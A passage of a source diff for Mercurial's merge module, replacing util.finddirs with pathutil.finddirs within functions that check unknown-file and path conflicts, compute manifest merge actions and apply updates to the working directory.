+        for p in reversed(list(pathutil.finddirs(f))):
             if p in self._missingdircache:
                 return
             if p in self._unknowndircache:
                 continue
             if repo.wvfs.audit.check(p):
                 if (
                     repo.wvfs.isfileorlink(p)
                     and repo.dirstate.normalize(p) not in repo.dirstate
                 ):
                     return p
                 if not repo.wvfs.lexists(p):
                     self._missingdircache.add(p)
                     return
                 self._unknowndircache.add(p)
 
         # Check if the file conflicts with a directory containing unknown files.
         if repo.wvfs.audit.check(f) and repo.wvfs.isdir(f):
             # Does the directory contain any files that are not in the dirstate?
             for p, dirs, files in repo.wvfs.walk(f):
                 for fn in files:
                     relf = util.pconvert(repo.wvfs.reljoin(p, fn))
                     relf = repo.dirstate.normalize(relf, isknown=True)
                     if relf not in repo.dirstate:
                         return f
         return None
 
 
 def _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce):
     """
     Considers any actions that care about the presence of conflicting unknown
     files. For some actions, the result is to abort; for others, it is to
     choose a different action.
     """
     fileconflicts = set()
     pathconflicts = set()
     warnconflicts = set()
     abortconflicts = set()
     unknownconfig = _getcheckunknownconfig(repo, b'merge', b'checkunknown')
     ignoredconfig = _getcheckunknownconfig(repo, b'merge', b'checkignored')
     pathconfig = repo.ui.configbool(
         b'experimental', b'merge.checkpathconflicts'
     )
     if not force:
 
         def collectconflicts(conflicts, config):
             if config == b'abort':
                 abortconflicts.update(conflicts)
             elif config == b'warn':
                 warnconflicts.update(conflicts)
 
         checkunknowndirs = _unknowndirschecker()
         for f, (m, args, msg) in pycompat.iteritems(actions):
             if m in (ACTION_CREATED, ACTION_DELETED_CHANGED):
                 if _checkunknownfile(repo, wctx, mctx, f):
                     fileconflicts.add(f)
                 elif pathconfig and f not in wctx:
                     path = checkunknowndirs(repo, wctx, f)
                     if path is not None:
                         pathconflicts.add(path)
             elif m == ACTION_LOCAL_DIR_RENAME_GET:
                 if _checkunknownfile(repo, wctx, mctx, f, args[0]):
                     fileconflicts.add(f)
 
         allconflicts = fileconflicts | pathconflicts
         ignoredconflicts = {c for c in allconflicts if repo.dirstate._ignore(c)}
         unknownconflicts = allconflicts - ignoredconflicts
         collectconflicts(ignoredconflicts, ignoredconfig)
         collectconflicts(unknownconflicts, unknownconfig)
     else:
         for f, (m, args, msg) in pycompat.iteritems(actions):
             if m == ACTION_CREATED_MERGE:
                 fl2, anc = args
                 different = _checkunknownfile(repo, wctx, mctx, f)
                 if repo.dirstate._ignore(f):
                     config = ignoredconfig
                 else:
                     config = unknownconfig
 
                 # The behavior when force is True is described by this table:
                 #  config  different  mergeforce  |    action    backup
                 #    *         n          *       |      get        n
                 #    *         y          y       |     merge       -
                 #   abort      y          n       |     merge       -   (1)
                 #   warn       y          n       |  warn + get     y
                 #  ignore      y          n       |      get        y
                 #
                 # (1) this is probably the wrong behavior here -- we should
                 #     probably abort, but some actions like rebases currently
                 #     don't like an abort happening in the middle of
                 #     merge.update.
                 if not different:
                     actions[f] = (ACTION_GET, (fl2, False), b'remote created')
                 elif mergeforce or config == b'abort':
                     actions[f] = (
                         ACTION_MERGE,
                         (f, f, None, False, anc),
                         b'remote differs from untracked local',
                     )
                 elif config == b'abort':
                     abortconflicts.add(f)
                 else:
                     if config == b'warn':
                         warnconflicts.add(f)
                     actions[f] = (ACTION_GET, (fl2, True), b'remote created')
 
     for f in sorted(abortconflicts):
         warn = repo.ui.warn
         if f in pathconflicts:
             if repo.wvfs.isfileorlink(f):
                 warn(_(b"%s: untracked file conflicts with directory\n") % f)
             else:
                 warn(_(b"%s: untracked directory conflicts with file\n") % f)
         else:
             warn(_(b"%s: untracked file differs\n") % f)
     if abortconflicts:
         raise error.Abort(
             _(
                 b"untracked files in working directory "
                 b"differ from files in requested revision"
             )
         )
 
     for f in sorted(warnconflicts):
         if repo.wvfs.isfileorlink(f):
             repo.ui.warn(_(b"%s: replacing untracked file\n") % f)
         else:
             repo.ui.warn(_(b"%s: replacing untracked files in directory\n") % f)
 
     for f, (m, args, msg) in pycompat.iteritems(actions):
         if m == ACTION_CREATED:
             backup = (
                 f in fileconflicts
                 or f in pathconflicts
-                or any(p in pathconflicts for p in util.finddirs(f))
+                or any(p in pathconflicts for p in pathutil.finddirs(f))
             )
             (flags,) = args
             actions[f] = (ACTION_GET, (flags, backup), msg)
 
 
 def _forgetremoved(wctx, mctx, branchmerge):
     """
     Forget removed files
 
     If we're jumping between revisions (as opposed to merging), and if
     neither the working directory nor the target rev has the file,
     then we need to remove it from the dirstate, to prevent the
     dirstate from listing the file when it is no longer in the
     manifest.
 
     If we're merging, and the other revision has removed a file
     that is not present in the working directory, we need to mark it
     as removed.
     """
 
     actions = {}
     m = ACTION_FORGET
     if branchmerge:
         m = ACTION_REMOVE
     for f in wctx.deleted():
         if f not in mctx:
             actions[f] = m, None, b"forget deleted"
 
     if not branchmerge:
         for f in wctx.removed():
             if f not in mctx:
                 actions[f] = ACTION_FORGET, None, b"forget removed"
 
     return actions
 
 
 def _checkcollision(repo, wmf, actions):
     """
     Check for case-folding collisions.
     """
 
     # If the repo is narrowed, filter out files outside the narrowspec.
     narrowmatch = repo.narrowmatch()
     if not narrowmatch.always():
         wmf = wmf.matches(narrowmatch)
         if actions:
             narrowactions = {}
             for m, actionsfortype in pycompat.iteritems(actions):
                 narrowactions[m] = []
                 for (f, args, msg) in actionsfortype:
                     if narrowmatch(f):
                         narrowactions[m].append((f, args, msg))
             actions = narrowactions
 
     # build provisional merged manifest up
     pmmf = set(wmf)
 
     if actions:
         # KEEP and EXEC are no-op
         for m in (
             ACTION_ADD,
             ACTION_ADD_MODIFIED,
             ACTION_FORGET,
             ACTION_GET,
             ACTION_CHANGED_DELETED,
             ACTION_DELETED_CHANGED,
         ):
             for f, args, msg in actions[m]:
                 pmmf.add(f)
         for f, args, msg in actions[ACTION_REMOVE]:
             pmmf.discard(f)
         for f, args, msg in actions[ACTION_DIR_RENAME_MOVE_LOCAL]:
             f2, flags = args
             pmmf.discard(f2)
             pmmf.add(f)
         for f, args, msg in actions[ACTION_LOCAL_DIR_RENAME_GET]:
             pmmf.add(f)
         for f, args, msg in actions[ACTION_MERGE]:
             f1, f2, fa, move, anc = args
             if move:
                 pmmf.discard(f1)
             pmmf.add(f)
 
     # check case-folding collision in provisional merged manifest
     foldmap = {}
     for f in pmmf:
         fold = util.normcase(f)
         if fold in foldmap:
             raise error.Abort(
                 _(b"case-folding collision between %s and %s")
                 % (f, foldmap[fold])
             )
         foldmap[fold] = f
 
     # check case-folding of directories
     foldprefix = unfoldprefix = lastfull = b''
     for fold, f in sorted(foldmap.items()):
         if fold.startswith(foldprefix) and not f.startswith(unfoldprefix):
             # the folded prefix matches but actual casing is different
             raise error.Abort(
                 _(b"case-folding collision between %s and directory of %s")
                 % (lastfull, f)
             )
         foldprefix = fold + b'/'
         unfoldprefix = f + b'/'
         lastfull = f
 
 
 def driverpreprocess(repo, ms, wctx, labels=None):
     """run the preprocess step of the merge driver, if any
 
     This is currently not implemented -- it's an extension point."""
     return True
 
 
 def driverconclude(repo, ms, wctx, labels=None):
     """run the conclude step of the merge driver, if any
 
     This is currently not implemented -- it's an extension point."""
     return True
 
 
 def _filesindirs(repo, manifest, dirs):
     """
     Generator that yields pairs of all the files in the manifest that are found
     inside the directories listed in dirs, and which directory they are found
     in.
     """
     for f in manifest:
-        for p in util.finddirs(f):
+        for p in pathutil.finddirs(f):
             if p in dirs:
                 yield f, p
                 break
 
 
 def checkpathconflicts(repo, wctx, mctx, actions):
     """
     Check if any actions introduce path conflicts in the repository, updating
     actions to record or handle the path conflict accordingly.
     """
     mf = wctx.manifest()
 
     # The set of local files that conflict with a remote directory.
     localconflicts = set()
 
     # The set of directories that conflict with a remote file, and so may cause
     # conflicts if they still contain any files after the merge.
     remoteconflicts = set()
 
     # The set of directories that appear as both a file and a directory in the
     # remote manifest.  These indicate an invalid remote manifest, which
     # can't be updated to cleanly.
     invalidconflicts = set()
 
     # The set of directories that contain files that are being created.
     createdfiledirs = set()
 
     # The set of files deleted by all the actions.
     deletedfiles = set()
 
     for f, (m, args, msg) in actions.items():
         if m in (
             ACTION_CREATED,
             ACTION_DELETED_CHANGED,
             ACTION_MERGE,
             ACTION_CREATED_MERGE,
         ):
             # This action may create a new local file.
-            createdfiledirs.update(util.finddirs(f))
+            createdfiledirs.update(pathutil.finddirs(f))
             if mf.hasdir(f):
                 # The file aliases a local directory.  This might be ok if all
                 # the files in the local directory are being deleted.  This
                 # will be checked once we know what all the deleted files are.
                 remoteconflicts.add(f)
         # Track the names of all deleted files.
         if m == ACTION_REMOVE:
             deletedfiles.add(f)
         if m == ACTION_MERGE:
             f1, f2, fa, move, anc = args
             if move:
                 deletedfiles.add(f1)
         if m == ACTION_DIR_RENAME_MOVE_LOCAL:
             f2, flags = args
             deletedfiles.add(f2)
 
     # Check all directories that contain created files for path conflicts.
     for p in createdfiledirs:
         if p in mf:
             if p in mctx:
                 # A file is in a directory which aliases both a local
                 # and a remote file.  This is an internal inconsistency
                 # within the remote manifest.
                 invalidconflicts.add(p)
             else:
                 # A file is in a directory which aliases a local file.
                 # We will need to rename the local file.
                 localconflicts.add(p)
         if p in actions and actions[p][0] in (
             ACTION_CREATED,
             ACTION_DELETED_CHANGED,
             ACTION_MERGE,
             ACTION_CREATED_MERGE,
         ):
             # The file is in a directory which aliases a remote file.
             # This is an internal inconsistency within the remote
             # manifest.
             invalidconflicts.add(p)
 
     # Rename all local conflicting files that have not been deleted.
     for p in localconflicts:
         if p not in deletedfiles:
             ctxname = bytes(wctx).rstrip(b'+')
             pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
             actions[pnew] = (
                 ACTION_PATH_CONFLICT_RESOLVE,
                 (p,),
                 b'local path conflict',
             )
             actions[p] = (ACTION_PATH_CONFLICT, (pnew, b'l'), b'path conflict')
 
     if remoteconflicts:
         # Check if all files in the conflicting directories have been removed.
         ctxname = bytes(mctx).rstrip(b'+')
         for f, p in _filesindirs(repo, mf, remoteconflicts):
             if f not in deletedfiles:
                 m, args, msg = actions[p]
                 pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
                 if m in (ACTION_DELETED_CHANGED, ACTION_MERGE):
                     # Action was merge, just update target.
                     actions[pnew] = (m, args, msg)
                 else:
                     # Action was create, change to renamed get action.
                     fl = args[0]
                     actions[pnew] = (
                         ACTION_LOCAL_DIR_RENAME_GET,
                         (p, fl),
                         b'remote path conflict',
                     )
                 actions[p] = (
                     ACTION_PATH_CONFLICT,
                     (pnew, ACTION_REMOVE),
                     b'path conflict',
                 )
                 remoteconflicts.remove(p)
                 break
 
     if invalidconflicts:
         for p in invalidconflicts:
             repo.ui.warn(_(b"%s: is both a file and a directory\n") % p)
         raise error.Abort(_(b"destination manifest contains path conflicts"))
 
 
 def _filternarrowactions(narrowmatch, branchmerge, actions):
     """
     Filters out actions that can ignored because the repo is narrowed.
 
     Raise an exception if the merge cannot be completed because the repo is
     narrowed.
     """
     nooptypes = {b'k'}  # TODO: handle with nonconflicttypes
     nonconflicttypes = set(b'a am c cm f g r e'.split())
     # We mutate the items in the dict during iteration, so iterate
     # over a copy.
     for f, action in list(actions.items()):
         if narrowmatch(f):
             pass
         elif not branchmerge:
             del actions[f]  # just updating, ignore changes outside clone
         elif action[0] in nooptypes:
             del actions[f]  # merge does not affect file
         elif action[0] in nonconflicttypes:
             raise error.Abort(
                 _(
                     b'merge affects file \'%s\' outside narrow, '
                     b'which is not yet supported'
                 )
                 % f,
                 hint=_(b'merging in the other direction may work'),
             )
         else:
             raise error.Abort(
                 _(b'conflict in file \'%s\' is outside narrow clone') % f
             )
 
 
 def manifestmerge(
     repo,
     wctx,
     p2,
     pa,
     branchmerge,
     force,
     matcher,
     acceptremote,
     followcopies,
     forcefulldiff=False,
 ):
     """
     Merge wctx and p2 with ancestor pa and generate merge action list
 
     branchmerge and force are as passed in to update
     matcher = matcher to filter file lists
     acceptremote = accept the incoming changes without prompting
     """
     if matcher is not None and matcher.always():
         matcher = None
 
     copy, movewithdir, diverge, renamedelete, dirmove = {}, {}, {}, {}, {}
 
     # manifests fetched in order are going to be faster, so prime the caches
     [
         x.manifest()
         for x in sorted(wctx.parents() + [p2, pa], key=scmutil.intrev)
     ]
 
     if followcopies:
         ret = copies.mergecopies(repo, wctx, p2, pa)
         copy, movewithdir, diverge, renamedelete, dirmove = ret
 
     boolbm = pycompat.bytestr(bool(branchmerge))
     boolf = pycompat.bytestr(bool(force))
     boolm = pycompat.bytestr(bool(matcher))
     repo.ui.note(_(b"resolving manifests\n"))
     repo.ui.debug(
         b" branchmerge: %s, force: %s, partial: %s\n" % (boolbm, boolf, boolm)
     )
     repo.ui.debug(b" ancestor: %s, local: %s, remote: %s\n" % (pa, wctx, p2))
 
     m1, m2, ma = wctx.manifest(), p2.manifest(), pa.manifest()
     copied = set(copy.values())
     copied.update(movewithdir.values())
 
     if b'.hgsubstate' in m1 and wctx.rev() is None:
         # Check whether sub state is modified, and overwrite the manifest
         # to flag the change. If wctx is a committed revision, we shouldn't
         # care for the dirty state of the working directory.
         if any(wctx.sub(s).dirty() for s in wctx.substate):
             m1[b'.hgsubstate'] = modifiednodeid
 
     # Don't use m2-vs-ma optimization if:
     # - ma is the same as m1 or m2, which we're just going to diff again later
     # - The caller specifically asks for a full diff, which is useful during bid
     #   merge.
     if pa not in ([wctx, p2] + wctx.parents()) and not forcefulldiff:
         # Identify which files are relevant to the merge, so we can limit the
         # total m1-vs-m2 diff to just those files. This has significant
         # performance benefits in large repositories.
         relevantfiles = set(ma.diff(m2).keys())
 
         # For copied and moved files, we need to add the source file too.
         for copykey, copyvalue in pycompat.iteritems(copy):
             if copyvalue in relevantfiles:
                 relevantfiles.add(copykey)
         for movedirkey in movewithdir:
             relevantfiles.add(movedirkey)
         filesmatcher = scmutil.matchfiles(repo, relevantfiles)
         matcher = matchmod.intersectmatchers(matcher, filesmatcher)
 
     diff = m1.diff(m2, match=matcher)
 
     actions = {}
     for f, ((n1, fl1), (n2, fl2)) in pycompat.iteritems(diff):
         if n1 and n2:  # file exists on both local and remote side
             if f not in ma:
                 fa = copy.get(f, None)
                 if fa is not None:
                     actions[f] = (
                         ACTION_MERGE,
                         (f, f, fa, False, pa.node()),
                         b'both renamed from %s' % fa,
                     )
                 else:
                     actions[f] = (
                         ACTION_MERGE,
                         (f, f, None, False, pa.node()),
                         b'both created',
                     )
             else:
                 a = ma[f]
                 fla = ma.flags(f)
                 nol = b'l' not in fl1 + fl2 + fla
                 if n2 == a and fl2 == fla:
                     actions[f] = (ACTION_KEEP, (), b'remote unchanged')
                 elif n1 == a and fl1 == fla:  # local unchanged - use remote
                     if n1 == n2:  # optimization: keep local content
                         actions[f] = (
                             ACTION_EXEC,
                             (fl2,),
                             b'update permissions',
                         )
                     else:
                         actions[f] = (
                             ACTION_GET,
                             (fl2, False),
                             b'remote is newer',
                         )
                 elif nol and n2 == a:  # remote only changed 'x'
                     actions[f] = (ACTION_EXEC, (fl2,), b'update permissions')
                 elif nol and n1 == a:  # local only changed 'x'
                     actions[f] = (ACTION_GET, (fl1, False), b'remote is newer')
                 else:  # both changed something
                     actions[f] = (
                         ACTION_MERGE,
                         (f, f, f, False, pa.node()),
                         b'versions differ',
                     )
         elif n1:  # file exists only on local side
             if f in copied:
                 pass  # we'll deal with it on m2 side
             elif f in movewithdir:  # directory rename, move local
                 f2 = movewithdir[f]
                 if f2 in m2:
                     actions[f2] = (
                         ACTION_MERGE,
                         (f, f2, None, True, pa.node()),
                         b'remote directory rename, both created',
                     )
                 else:
                     actions[f2] = (
                         ACTION_DIR_RENAME_MOVE_LOCAL,
                         (f, fl1),
                         b'remote directory rename - move from %s' % f,
                     )
             elif f in copy:
                 f2 = copy[f]
                 actions[f] = (
                     ACTION_MERGE,
                     (f, f2, f2, False, pa.node()),
                     b'local copied/moved from %s' % f2,
                 )
             elif f in ma:  # clean, a different, no remote
                 if n1 != ma[f]:
                     if acceptremote:
                         actions[f] = (ACTION_REMOVE, None, b'remote delete')
                     else:
                         actions[f] = (
                             ACTION_CHANGED_DELETED,
                             (f, None, f, False, pa.node()),
                             b'prompt changed/deleted',
                         )
                 elif n1 == addednodeid:
                     # This extra 'a' is added by working copy manifest to mark
                     # the file as locally added. We should forget it instead of
                     # deleting it.
                     actions[f] = (ACTION_FORGET, None, b'remote deleted')
                 else:
                     actions[f] = (ACTION_REMOVE, None, b'other deleted')
         elif n2:  # file exists only on remote side
             if f in copied:
                 pass  # we'll deal with it on m1 side
             elif f in movewithdir:
                 f2 = movewithdir[f]
                 if f2 in m1:
                     actions[f2] = (
                         ACTION_MERGE,
                         (f2, f, None, False, pa.node()),
                         b'local directory rename, both created',
                     )
                 else:
                     actions[f2] = (
                         ACTION_LOCAL_DIR_RENAME_GET,
                         (f, fl2),
                         b'local directory rename - get from %s' % f,
                     )
             elif f in copy:
                 f2 = copy[f]
                 if f2 in m2:
                     actions[f] = (
                         ACTION_MERGE,
                         (f2, f, f2, False, pa.node()),
                         b'remote copied from %s' % f2,
                     )
                 else:
                     actions[f] = (
                         ACTION_MERGE,
                         (f2, f, f2, True, pa.node()),
                         b'remote moved from %s' % f2,
                     )
             elif f not in ma:
                 # local unknown, remote created: the logic is described by the
                 # following table:
                 #
                 # force  branchmerge  different  |  action
                 #   n         *           *      |   create
                 #   y         n           *      |   create
                 #   y         y           n      |   create
                 #   y         y           y      |   merge
                 #
                 # Checking whether the files are different is expensive, so we
                 # don't do that when we can avoid it.
                 if not force:
                     actions[f] = (ACTION_CREATED, (fl2,), b'remote created')
                 elif not branchmerge:
                     actions[f] = (ACTION_CREATED, (fl2,), b'remote created')
                 else:
                     actions[f] = (
                         ACTION_CREATED_MERGE,
                         (fl2, pa.node()),
                         b'remote created, get or merge',
                     )
             elif n2 != ma[f]:
                 df = None
                 for d in dirmove:
                     if f.startswith(d):
                         # new file added in a directory that was moved
                         df = dirmove[d] + f[len(d) :]
                         break
                 if df is not None and df in m1:
                     actions[df] = (
                         ACTION_MERGE,
                         (df, f, f, False, pa.node()),
                         b'local directory rename - respect move '
                         b'from %s' % f,
                     )
                 elif acceptremote:
                     actions[f] = (ACTION_CREATED, (fl2,), b'remote recreating')
                 else:
                     actions[f] = (
                         ACTION_DELETED_CHANGED,
                         (None, f, f, False, pa.node()),
                         b'prompt deleted/changed',
                     )
 
     if repo.ui.configbool(b'experimental', b'merge.checkpathconflicts'):
         # If we are merging, look for path conflicts.
         checkpathconflicts(repo, wctx, p2, actions)
 
     narrowmatch = repo.narrowmatch()
     if not narrowmatch.always():
         # Updates "actions" in place
         _filternarrowactions(narrowmatch, branchmerge, actions)
 
     return actions, diverge, renamedelete
 
 
 def _resolvetrivial(repo, wctx, mctx, ancestor, actions):
     """Resolves false conflicts where the nodeid changed but the content
        remained the same."""
     # We force a copy of actions.items() because we're going to mutate
     # actions as we resolve trivial conflicts.
     for f, (m, args, msg) in list(actions.items()):
         if (
             m == ACTION_CHANGED_DELETED
             and f in ancestor
             and not wctx[f].cmp(ancestor[f])
         ):
             # local did change but ended up with same content
             actions[f] = ACTION_REMOVE, None, b'prompt same'
         elif (
             m == ACTION_DELETED_CHANGED
             and f in ancestor
             and not mctx[f].cmp(ancestor[f])
         ):
             # remote did change but ended up with same content
             del actions[f]  # don't get = keep local deleted
 
 
 def calculateupdates(
     repo,
     wctx,
     mctx,
     ancestors,
     branchmerge,
     force,
     acceptremote,
     followcopies,
     matcher=None,
     mergeforce=False,
 ):
     """Calculate the actions needed to merge mctx into wctx using ancestors"""
     # Avoid cycle.
     from . import sparse
 
     if len(ancestors) == 1:  # default
         actions, diverge, renamedelete = manifestmerge(
             repo,
             wctx,
             mctx,
             ancestors[0],
             branchmerge,
             force,
             matcher,
             acceptremote,
             followcopies,
         )
         _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce)
 
     else:  # only when merge.preferancestor=* - the default
         repo.ui.note(
             _(b"note: merging %s and %s using bids from ancestors %s\n")
             % (
                 wctx,
                 mctx,
                 _(b' and ').join(pycompat.bytestr(anc) for anc in ancestors),
             )
         )
 
         # Call for bids
         fbids = (
             {}
         )  # mapping filename to bids (action method to list af actions)
         diverge, renamedelete = None, None
         for ancestor in ancestors:
             repo.ui.note(_(b'\ncalculating bids for ancestor %s\n') % ancestor)
             actions, diverge1, renamedelete1 = manifestmerge(
                 repo,
                 wctx,
                 mctx,
                 ancestor,
                 branchmerge,
                 force,
                 matcher,
                 acceptremote,
                 followcopies,
                 forcefulldiff=True,
             )
             _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce)
 
             # Track the shortest set of warning on the theory that bid
             # merge will correctly incorporate more information
             if diverge is None or len(diverge1) < len(diverge):
                 diverge = diverge1
             if renamedelete is None or len(renamedelete) < len(renamedelete1):
                 renamedelete = renamedelete1
 
             for f, a in sorted(pycompat.iteritems(actions)):
                 m, args, msg = a
                 repo.ui.debug(b' %s: %s -> %s\n' % (f, msg, m))
                 if f in fbids:
                     d = fbids[f]
                     if m in d:
                         d[m].append(a)
                     else:
                         d[m] = [a]
                 else:
                     fbids[f] = {m: [a]}
 
         # Pick the best bid for each file
         repo.ui.note(_(b'\nauction for merging merge bids\n'))
         actions = {}
         for f, bids in sorted(fbids.items()):
             # bids is a mapping from action method to list af actions
             # Consensus?
             if len(bids) == 1:  # all bids are the same kind of method
                 m, l = list(bids.items())[0]
                 if all(a == l[0] for a in l[1:]):  # len(bids) is > 1
                     repo.ui.note(_(b" %s: consensus for %s\n") % (f, m))
                     actions[f] = l[0]
                     continue
             # If keep is an option, just do it.
             if ACTION_KEEP in bids:
                 repo.ui.note(_(b" %s: picking 'keep' action\n") % f)
                 actions[f] = bids[ACTION_KEEP][0]
                 continue
             # If there are gets and they all agree [how could they not?], do it.
             if ACTION_GET in bids:
                 ga0 = bids[ACTION_GET][0]
                 if all(a == ga0 for a in bids[ACTION_GET][1:]):
                     repo.ui.note(_(b" %s: picking 'get' action\n") % f)
                     actions[f] = ga0
                     continue
             # TODO: Consider other simple actions such as mode changes
             # Handle inefficient democrazy.
             repo.ui.note(_(b' %s: multiple bids for merge action:\n') % f)
             for m, l in sorted(bids.items()):
                 for _f, args, msg in l:
                     repo.ui.note(b'  %s -> %s\n' % (msg, m))
             # Pick random action. TODO: Instead, prompt user when resolving
             m, l = list(bids.items())[0]
             repo.ui.warn(
                 _(b' %s: ambiguous merge - picked %s action\n') % (f, m)
             )
             actions[f] = l[0]
             continue
         repo.ui.note(_(b'end of auction\n\n'))
 
     if wctx.rev() is None:
         fractions = _forgetremoved(wctx, mctx, branchmerge)
         actions.update(fractions)
 
     prunedactions = sparse.filterupdatesactions(
         repo, wctx, mctx, branchmerge, actions
     )
     _resolvetrivial(repo, wctx, mctx, ancestors[0], actions)
 
     return prunedactions, diverge, renamedelete
 
 
 def _getcwd():
     try:
         return encoding.getcwd()
     except OSError as err:
         if err.errno == errno.ENOENT:
             return None
         raise
 
 
 def batchremove(repo, wctx, actions):
     """apply removes to the working directory
 
     yields tuples for progress updates
     """
     verbose = repo.ui.verbose
     cwd = _getcwd()
     i = 0
     for f, args, msg in actions:
         repo.ui.debug(b" %s: %s -> r\n" % (f, msg))
         if verbose:
             repo.ui.note(_(b"removing %s\n") % f)
         wctx[f].audit()
         try:
             wctx[f].remove(ignoremissing=True)
         except OSError as inst:
             repo.ui.warn(
                 _(b"update failed to remove %s: %s!\n") % (f, inst.strerror)
             )
         if i == 100:
             yield i, f
             i = 0
         i += 1
     if i > 0:
         yield i, f
 
     if cwd and not _getcwd():
         # cwd was removed in the course of removing files; print a helpful
         # warning.
         repo.ui.warn(
             _(
                 b"current directory was removed\n"
                 b"(consider changing to repo root: %s)\n"
             )
             % repo.root
         )
 
 
 def batchget(repo, mctx, wctx, wantfiledata, actions):
     """apply gets to the working directory
 
     mctx is the context to get from
 
     Yields arbitrarily many (False, tuple) for progress updates, followed by
     exactly one (True, filedata). When wantfiledata is false, filedata is an
     empty dict. When wantfiledata is true, filedata[f] is a triple (mode, size,
     mtime) of the file f written for each action.
     """
     filedata = {}
     verbose = repo.ui.verbose
     fctx = mctx.filectx
     ui = repo.ui
     i = 0
     with repo.wvfs.backgroundclosing(ui, expectedcount=len(actions)):
         for f, (flags, backup), msg in actions:
             repo.ui.debug(b" %s: %s -> g\n" % (f, msg))
             if verbose:
                 repo.ui.note(_(b"getting %s\n") % f)
 
             if backup:
                 # If a file or directory exists with the same name, back that
                 # up.  Otherwise, look to see if there is a file that conflicts
                 # with a directory this file is in, and if so, back that up.
                 conflicting = f
                 if not repo.wvfs.lexists(f):
-                    for p in util.finddirs(f):
+                    for p in pathutil.finddirs(f):
                         if repo.wvfs.isfileorlink(p):
                             conflicting = p
                             break
                 if repo.wvfs.lexists(conflicting):
                     orig = scmutil.backuppath(ui, repo, conflicting)
                     util.rename(repo.wjoin(conflicting), orig)
             wfctx = wctx[f]
             wfctx.clearunknown()
             atomictemp = ui.configbool(b"experimental", b"update.atomic-file")
             size = wfctx.write(
                 fctx(f).data(),
                 flags,
                 backgroundclose=True,
                 atomictemp=atomictemp,
             )
             if wantfiledata:
                 s = wfctx.lstat()
                 mode = s.st_mode
                 mtime = s[stat.ST_MTIME]
                 filedata[f] = (mode, size, mtime)  # for dirstate.normal
             if i == 100:
                 yield False, (i, f)
                 i = 0
             i += 1
     if i > 0:
         yield False, (i, f)
     yield True, filedata
 
 
 def _prefetchfiles(repo, ctx, actions):
     """Invoke ``scmutil.prefetchfiles()`` for the files relevant to the dict
     of merge actions.  ``ctx`` is the context being merged in."""
 
     # Skipping 'a', 'am', 'f', 'r', 'dm', 'e', 'k', 'p' and 'pr', because they
     # don't touch the context to be merged in.  'cd' is skipped, because
     # changed/deleted never resolves to something from the remote side.
     oplist = [
         actions[a]
         for a in (
             ACTION_GET,
             ACTION_DELETED_CHANGED,
             ACTION_LOCAL_DIR_RENAME_GET,
             ACTION_MERGE,
         )
     ]
     prefetch = scmutil.prefetchfiles
     matchfiles = scmutil.matchfiles
     prefetch(
         repo,
         [ctx.rev()],
         matchfiles(repo, [f for sublist in oplist for f, args, msg in sublist]),
     )
 
 
 @attr.s(frozen=True)
 class updateresult(object):
     updatedcount = attr.ib()
     mergedcount = attr.ib()
     removedcount = attr.ib()
     unresolvedcount = attr.ib()
 
     def isempty(self):
         return not (
             self.updatedcount
             or self.mergedcount
             or self.removedcount
             or self.unresolvedcount
         )
 
 
 def emptyactions():
     """create an actions dict, to be populated and passed to applyupdates()"""
     return dict(
         (m, [])
         for m in (
             ACTION_ADD,
             ACTION_ADD_MODIFIED,
             ACTION_FORGET,
             ACTION_GET,
             ACTION_CHANGED_DELETED,
             ACTION_DELETED_CHANGED,
             ACTION_REMOVE,
             ACTION_DIR_RENAME_MOVE_LOCAL,
             ACTION_LOCAL_DIR_RENAME_GET,
             ACTION_MERGE,
             ACTION_EXEC,
             ACTION_KEEP,
             ACTION_PATH_CONFLICT,
             ACTION_PATH_CONFLICT_RESOLVE,
         )
     )
 
 
 def applyupdates(
     repo, actions, wctx, mctx, overwrite, wantfiledata, labels=None
 ):
     """apply the merge action list to the working directory
 
     wctx is the working copy context
     mctx is the context to be merged into the working copy
 
     Return a tuple of (counts, filedata), where counts is a tuple
     (updated, merged, removed, unresolved) that describes how many
     files were affected by the update, and filedata is as described in
     batchget.
     """
 
     _prefetchfiles(repo, mctx, actions)
 
     updated, merged, removed = 0, 0, 0
     ms = mergestate.clean(repo, wctx.p1().node(), mctx.node(), labels)
     moves = []
     for m, l in actions.items():
         l.sort()
 
     # 'cd' and 'dc' actions are treated like other merge conflicts
     mergeactions = sorted(actions[ACTION_CHANGED_DELETED])
     mergeactions.extend(sorted(actions[ACTION_DELETED_CHANGED]))
     mergeactions.extend(actions[ACTION_MERGE])
     for f, args, msg in mergeactions:
         f1, f2, fa, move, anc = args
         if f == b'.hgsubstate':  # merged internally
             continue
         if f1 is None:
             fcl = filemerge.absentfilectx(wctx, fa)
         else:
             repo.ui.debug(b" preserving %s for resolve of %s\n" % (f1, f))
             fcl = wctx[f1]
         if f2 is None:
             fco = filemerge.absentfilectx(mctx, fa)
         else:
             fco = mctx[f2]
         actx = repo[anc]
         if fa in actx:
             fca = actx[fa]
         else:
             # TODO: move to absentfilectx
             fca = repo.filectx(f1, fileid=nullrev)
         ms.add(fcl, fco, fca, f)
         if f1 != f and move:
             moves.append(f1)
 
     # remove renamed files after safely stored
     for f in moves:
         if wctx[f].lexists():
             repo.ui.debug(b"removing %s\n" % f)
             wctx[f].audit()
             wctx[f].remove()
 
     numupdates = sum(len(l) for m, l in actions.items() if m != ACTION_KEEP)
     progress = repo.ui.makeprogress(
         _(b'updating'), unit=_(b'files'), total=numupdates
     )
 
     if [a for a in actions[ACTION_REMOVE] if a[0] == b'.hgsubstate']:
         subrepoutil.submerge(repo, wctx, mctx, wctx, overwrite, labels)
 
     # record path conflicts
     for f, args, msg in actions[ACTION_PATH_CONFLICT]:
         f1, fo = args
         s = repo.ui.status
         s(
             _(
                 b"%s: path conflict - a file or link has the same name as a "
                 b"directory\n"
             )
             % f
         )
         if fo == b'l':
             s(_(b"the local file has been renamed to %s\n") % f1)
         else:
             s(_(b"the remote file has been renamed to %s\n") % f1)
         s(_(b"resolve manually then use 'hg resolve --mark %s'\n") % f)
         ms.addpath(f, f1, fo)
         progress.increment(item=f)
 
     # When merging in-memory, we can't support worker processes, so set the
     # per-item cost at 0 in that case.
     cost = 0 if wctx.isinmemory() else 0.001
 
     # remove in parallel (must come before resolving path conflicts and getting)
     prog = worker.worker(
         repo.ui, cost, batchremove, (repo, wctx), actions[ACTION_REMOVE]
     )
     for i, item in prog:
         progress.increment(step=i, item=item)
     removed = len(actions[ACTION_REMOVE])
 
